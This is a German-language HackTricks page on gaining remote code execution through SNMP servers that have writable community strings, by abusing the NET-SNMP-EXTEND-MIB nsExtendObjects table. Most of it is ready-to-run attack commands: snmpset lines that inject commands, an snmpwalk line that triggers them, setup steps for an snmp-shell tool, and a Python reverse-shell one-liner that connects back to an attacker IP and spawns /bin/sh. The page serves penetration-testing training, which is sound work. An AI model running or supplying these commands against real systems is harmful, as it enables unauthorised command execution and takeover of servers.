mirror of
https://github.com/carlospolop/hacktricks
synced 2025-02-17 06:28:27 +00:00
74 lines
5.4 KiB
Markdown
74 lines
5.4 KiB
Markdown
{% hint style="success" %}
|
|
Lernen & üben Sie AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
<details>
|
|
|
|
<summary>Unterstützen Sie HackTricks</summary>
|
|
|
|
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
|
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
|
|
|
|
</details>
|
|
{% endhint %}
|
|
|
|
# SNMP RCE
|
|
|
|
SNMP kann von einem Angreifer ausgenutzt werden, wenn der Administrator die Standardkonfiguration auf dem Gerät oder Server übersieht. Durch **Missbrauch der SNMP-Community mit Schreibberechtigungen (rwcommunity)** auf einem Linux-Betriebssystem kann der Angreifer Befehle auf dem Server ausführen.
|
|
|
|
## Erweiterung von Diensten mit zusätzlichen Befehlen
|
|
|
|
Um SNMP-Dienste zu erweitern und zusätzliche Befehle hinzuzufügen, ist es möglich, neue **Zeilen zur "nsExtendObjects"-Tabelle** hinzuzufügen. Dies kann erreicht werden, indem der Befehl `snmpset` verwendet wird und die erforderlichen Parameter, einschließlich des absoluten Pfads zur ausführbaren Datei und des auszuführenden Befehls, bereitgestellt werden:
|
|
```bash
|
|
snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c c0nfig localhost \
|
|
'nsExtendStatus."evilcommand"' = createAndGo \
|
|
'nsExtendCommand."evilcommand"' = /bin/echo \
|
|
'nsExtendArgs."evilcommand"' = 'hello world'
|
|
```
|
|
## Befehle zur Ausführung injizieren
|
|
|
|
Das Injizieren von Befehlen, die auf dem SNMP-Dienst ausgeführt werden sollen, erfordert die Existenz und Ausführbarkeit des aufgerufenen Binaries/Skripts. Das **`NET-SNMP-EXTEND-MIB`** verlangt die Angabe des absoluten Pfades zur ausführbaren Datei.
|
|
|
|
Um die Ausführung des injizierten Befehls zu bestätigen, kann der Befehl `snmpwalk` verwendet werden, um den SNMP-Dienst aufzulisten. **Die Ausgabe zeigt den Befehl und die zugehörigen Details an**, einschließlich des absoluten Pfades:
|
|
```bash
|
|
snmpwalk -v2c -c SuP3RPrivCom90 10.129.2.26 NET-SNMP-EXTEND-MIB::nsExtendObjects
|
|
```
|
|
## Ausführen der Eingeschleusten Befehle
|
|
|
|
Wenn der **eingeschleuste Befehl gelesen wird, wird er ausgeführt**. Dieses Verhalten ist bekannt als **`run-on-read()`**. Die Ausführung des Befehls kann während des snmpwalk-Lesens beobachtet werden.
|
|
|
|
### Erlangen einer Server-Shell mit SNMP
|
|
|
|
Um die Kontrolle über den Server zu erlangen und eine Server-Shell zu erhalten, kann ein von mxrch entwickeltes Python-Skript von [**https://github.com/mxrch/snmp-shell.git**](https://github.com/mxrch/snmp-shell.git) verwendet werden.
|
|
|
|
Alternativ kann eine Reverse-Shell manuell erstellt werden, indem ein spezifischer Befehl in SNMP injiziert wird. Dieser Befehl, der durch den snmpwalk ausgelöst wird, stellt eine Reverse-Shell-Verbindung zum Rechner des Angreifers her und ermöglicht die Kontrolle über die Opfermaschine.
|
|
Sie können die Voraussetzungen installieren, um dies auszuführen:
|
|
```bash
|
|
sudo apt install snmp snmp-mibs-downloader rlwrap -y
|
|
git clone https://github.com/mxrch/snmp-shell
|
|
cd snmp-shell
|
|
sudo python3 -m pip install -r requirements.txt
|
|
```
|
|
Oder eine Reverse-Shell:
|
|
```bash
|
|
snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c SuP3RPrivCom90 10.129.2.26 'nsExtendStatus."command10"' = createAndGo 'nsExtendCommand."command10"' = /usr/bin/python3.6 'nsExtendArgs."command10"' = '-c "import sys,socket,os,pty;s=socket.socket();s.connect((\"10.10.14.84\",8999));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(\"/bin/sh\")"'
|
|
```
|
|
## Referenzen
|
|
* [https://rioasmara.com/2021/02/05/snmp-arbitary-command-execution-and-shell/](https://rioasmara.com/2021/02/05/snmp-arbitary-command-execution-and-shell/)
|
|
|
|
|
|
{% hint style="success" %}
|
|
Lernen & üben Sie AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
<details>
|
|
|
|
<summary>Unterstützen Sie HackTricks</summary>
|
|
|
|
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
|
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
|
|
|
|
</details>
|
|
{% endhint %}
|